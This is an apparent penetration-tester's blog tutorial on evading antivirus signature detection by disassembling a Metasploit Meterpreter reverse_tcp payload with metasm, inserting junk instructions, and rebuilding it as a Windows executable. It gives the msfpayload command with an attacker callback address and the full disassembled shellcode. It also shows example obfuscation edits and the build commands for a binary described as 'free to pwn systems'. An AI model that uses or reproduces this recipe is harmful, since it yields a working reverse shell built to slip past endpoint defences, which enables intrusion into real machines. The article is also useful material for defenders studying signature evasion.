Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)
It seems that more and more these days I find myself battling head to head against my client’s Antivirus Detection capabilities. Payloads I encoded to successfully bypass one solution get picked up by another. An executable that walked effortlessly past one AV this week gets stopped dead in its tracks by the very same software build at a different client the week later. This is a frustrating and constant problem for myself and many other Penetration Testers I am sure.
The topic of Antivirus Detection bypass is not a new one by any means. Currently there exist several methodologies that work well and I don’t think anyone (at least no one I know) can respectfully make a claim for a particular method being the De facto standard that works every time.
This article aims to provide some insight into one such method that I have become fond of and has proven quite successful in many of my recent Information Security Assessments. I first became aware of the technique by reading This Great Writeup from exploit-db. I’m not sure if the author is responsible for coining the term or not but they refer to this ancient wisdom and all of its magical powers under the alias “Ghost Writing” which I think sounds super cool!
Brief Introduction To Antivirus Detection Methodologies
If one hopes to successfully get around Antivirus software it’s probably a good idea to understand just how they determine that a malicious application is in fact “malicious”. For a detailed and probably much more accurate explanation of this phenomenon Click here to become Wikipedafied!!
The Cliff Notes Version:
Speaking quite generally, Antivirus Engines are capable of detecting malicious applications usually by one of two basic methodologies.
<– insert rant –>
Don’t tell the Antivirus vendors that though because they would have you believe that there are 10 completely different methods of detection in order to squeeze you somewhere into their 10-tier pricing matrix
<– end rant –>
Heuristic base analysis, in which case the AV engine monitors the behavior of the application and determines based on a predetermined set of criteria if the behavior can be classified as being malicious. This can happen in a sandboxed environment that is generated pre-execution time or dynamically inside a process’s virtual memory space while it is running. This is the current most effective and accurate way to guard against viruses and malware applicaitons. A good heuristic based engine constantly monitors the behavior of all applications and “teaches themselves” to become smarter on a regular basis.
The second and older method is called many names, we will use the term Static Binary Analysis. It doesn’t matter what you call it as long as you understand how it works. In SBA the AV engine looks at the binary data (the machine language instructions) of the application as it sits on the disk and checks for known sequences of malicious instructions, for example the instructions for opening up a TCP port and binding it to “cmd.exe”. These small pieces of code are called “signatures”. For signature detection to be successful your AV vendor needs to know every piece of malicious code out there and have accurate and up-to-date definitions for you on a daily basis. That’s even more difficult to do then it sounds. As luck would have it, most main stream AV vendors (even the ones claiming to be heuristic, shhhh..) still incorporate SBA in some way or another into their products. We can use the flaw in this logic to bypass AV detection by “Obfuscating” or “Ghost Writing” our binary data in such a way that it does not contain any known signatures. Now on to the fun stuff.
Building Our Malicious Executable
First we will build the malicious executable that we want to bypass Antivirus Detection using msfpayload, one of our very closest companions :)
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary
In the above command you should change ‘192.168.1.100’ to whatever IP address you want your victim to connect back to.
The Metasm Ruby Library
Now that we have created a “raw” binary file we have to disassemble it into readable machine language or Assembly Code. To do this we will use the “metasm” ruby library that ships natively with the metasploit framework. In order for the library to function you must first copy the metasm.rb file and metasm directory into your system’s ruby installation path. On my system doing so looks like this
cp -a metasm.rb metasm /opt/local/lib/ruby1.9/site_ruby/1.9.1
Now we can disassemble the binary file we created earlier.
$ ruby ~/tools/metasploit/lib/metasm/samples/disassemble.rb raw_binary > asm_code.asm
That will create a file called asm_code.asm which should look something like this
entrypoint_0: cld ; @0 fc call sub_8fh ; @1 e889000000 x:sub_8fh pushad ; @6 60 mov ebp, esp ; @7 89e5 xor edx, edx ; @9 31d2 mov edx, fs:[edx+30h] ; @0bh 648b5230 r4:segment_base_fs+30h mov edx, [edx+0ch] ; @0fh 8b520c r4:unknown mov edx, [edx+14h] ; @12h 8b5214 r4:unknown // Xrefs: 8dh loc_15h: mov esi, [edx+28h] ; @15h 8b7228 r4:unknown movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown xor edi, edi ; @1ch 31ff // Xrefs: 2ch loc_1eh: xor eax, eax ; @1eh 31c0 lodsb ; @20h ac cmp al, 61h ; @21h 3c61 jl loc_27h ; @23h 7c02 x:loc_27h sub al, 20h ; @25h 2c20 // Xrefs: 23h loc_27h: ror edi, 0dh ; @27h c1cf0d add edi, eax ; @2ah 01c7 loop loc_1eh ; @2ch e2f0 x:loc_1eh push edx ; @2eh 52 push edi ; @2fh 57 mov edx, [edx+10h] ; @30h 8b5210 r4:unknown mov eax, [edx+3ch] ; @33h 8b423c add eax, edx ; @36h 01d0 mov eax, [eax+78h] ; @38h 8b4078 test eax, eax ; @3bh 85c0 jz loc_89h ; @3dh 744a x:loc_89h add eax, edx ; @3fh 01d0 push eax ; @41h 50 mov ecx, [eax+18h] ; @42h 8b4818 mov ebx, [eax+20h] ; @45h 8b5820 add ebx, edx ; @48h 01d3 // Xrefs: 66h loc_4ah: jecxz loc_88h ; @4ah e33c x:loc_88h dec ecx ; @4ch 49 mov esi, [ebx+4*ecx] ; @4dh 8b348b add esi, edx ; @50h 01d6 xor edi, edi ; @52h 31ff // Xrefs: 5eh loc_54h: xor eax, eax ; @54h 31c0 lodsb ; @56h ac ror edi, 0dh ; @57h c1cf0d add edi, eax ; @5ah 01c7 cmp al, ah ; @5ch 38e0 jnz loc_54h ; @5eh 75f4 x:loc_54h add edi, [ebp-8] ; @60h 037df8 cmp edi, [ebp+24h] ; @63h 3b7d24 jnz loc_4ah ; @66h 75e2 x:loc_4ah pop eax ; @68h 58 mov ebx, [eax+24h] ; @69h 8b5824 add ebx, edx ; @6ch 01d3 mov cx, [ebx+2*ecx] ; @6eh 668b0c4b mov ebx, [eax+1ch] ; @72h 8b581c add ebx, edx ; @75h 01d3 mov eax, [ebx+4*ecx] ; @77h 8b048b add eax, edx ; @7ah 01d0 mov [esp+24h], eax ; @7ch 89442424 pop ebx ; @80h 5b pop ebx ; @81h 5b popad ; @82h 61 pop ecx ; @83h 59 pop edx ; @84h 5a push ecx ; @85h 51 jmp eax ; @86h ffe0 // Xrefs: 4ah loc_88h: pop eax ; @88h 58 // Xrefs: 3dh loc_89h: pop edi ; @89h 5f pop edx ; @8ah 5a mov edx, [edx] ; @8bh 8b12 r4:unknown jmp loc_15h ; @8dh eb86 x:loc_15h // Xrefs: 1 sub_8fh: // function binding: ebp -> dword ptr [esp], esp -> esp-10h // function ends at 0a0h pop ebp ; @8fh 5d push 3233h ; @90h 6833320000 push 5f327377h ; @95h 687773325f push esp ; @9ah 54 push 726774ch ; @9bh 684c772607 call ebp ; @0a0h ffd5 endsub sub_8fh noreturn db 0b8h, 90h, 1, 0, 0, 29h, 0c4h, "TPh)", 80h, 6bh, 0 ; @0a2h db 0ffh, 0d5h, "PPPP@P@Ph", 0eah, 0fh, 0dfh, 0e0h, 0ffh ; @0b0h db 0d5h, 97h, 6ah, 5, 68h, 0c0h, 0a8h, 1, 64h, 68h, 2, 0, 1, 0bbh, 89h, 0e6h ; @0c0h db 6ah, 10h, "VWh", 99h, 0a5h, 74h, 61h, 0ffh, 0d5h, 85h, 0c0h, 74h, 0ch, 0ffh ; @0d0h db 4eh, 8, 75h, 0ech, 68h, 0f0h, 0b5h, 0a2h, 56h, 0ffh, 0d5h, 6ah, 0, 6ah, 4, 56h ; @0e0h db 57h, 68h, 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 8bh, "6j@h", 0, 10h, 0 ; @0f0h db 0, 56h, 6ah, 0, 68h, 58h, 0a4h, 53h, 0e5h, 0ffh, 0d5h, 93h, 53h, 6ah, 0, 56h ; @100h db "SWh", 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 1, 0c3h, 29h, 0c6h, 85h, 0f6h, 75h ; @110h db 0ech, 0c3h ; @120h
Right about now would be a perfect time to reference one of my favorite begging Assembly Language tutorial videos:
Now that we have some ASM know-how we can start getting our hand s dirty with some Ghost Writing. Start adding random ASM instructions in the middle of the various code sections. I know, it would be much more effective to first determine precisely which bytes are flagging your target AV but that’s really another article in it’s self. For now, we’ll continue with the “spray and pray” methodology. You can add anything you want so long as you don’t break the functionality of the application. I find that simply pushing registers onto the stack and then popping them back off sometimes will do the trick. Also just before a XOR statement (which is often used to set the value of a register to zero) you can add a bunch of random statements to increment and decrement the register, move values of other registers into it. Anything you do won’t matter because eventually you will be changing the value to zero. So using the above example we can change the section beginning with ‘// Xrefs: 8dh’
// Xrefs: 8dh loc_15h: mov esi, [edx+28h] ; @15h 8b7228 r4:unknown movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown xor edi, edi ; @1ch 31ff [/crayon] To This: [crayon lang="python" toolbar="false"] // Xrefs: 8dh loc_15h: mov esi, [edx+28h] ; @15h 8b7228 r4:unknown movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown mov edi, ecx ; Move the contents of the ECX register into the EDI Register push edi ; Push the EDI register onto the current stack frame pop edi ; Pop it back off mov edi, ecx ; Mov ECX back into edi xor ecx, ecx ; Zero out the contents of the ECX register mov ecx, edi ; Mov EDI back into ECX xor edi, edi ; @1ch 31ff
So here we turned 3 lines of code into 9 however lines 3-8 result in the same values for ECX and EDI as the original code. This is essentially what it means to obfuscate code.
Once you’ve finished mangling your ASM code you need to add the following two lines to the top of the file for it to build correctly.
.section '.text' rwx .entrypoint
Someone in the #metasploit IRC was kind enough to point that out to me, Im sorry I can’t remember who it was because so many smart people in the #metasploit room help me out on a regular basis. You know who you are, and thank you!
The final step is to use metasm to build the executable and package it into a format that Windows can run.
$ ruby ~/tools/metasploit/lib/metasm/samples/peencode.rb asm_code.asm -o coolstuff.exe
Run a file check on coolstuff.exe to verify that it was built correctly. You should see something like this when finished.
$ file coolstuff.exe
coolstuff.exe: MS-DOS executable, MZ for MS-DOS
If everything went according to plan, you should be left with a random enough binary file that doesn’t match up with any of your target signatures and is free to pwn systems free from Antivirus Detection. That’s all for now, hope you enjoyed reading. Hack responsibly!
Share this article
Follow Pentest Geek
- Recovering Passwords From Hibernated Windows Machines
- How To Install Metasploit Framework Ubuntu 14.04
- How to Install Nmap From Source
- Another Lap Around Microsoft LAPS
- Credential Harvesting via MiTM – Burp Suite Tutorial
- Forensics and Incident Response
- Information Gathering
- Penetration Testing Tutorials
- Web Applications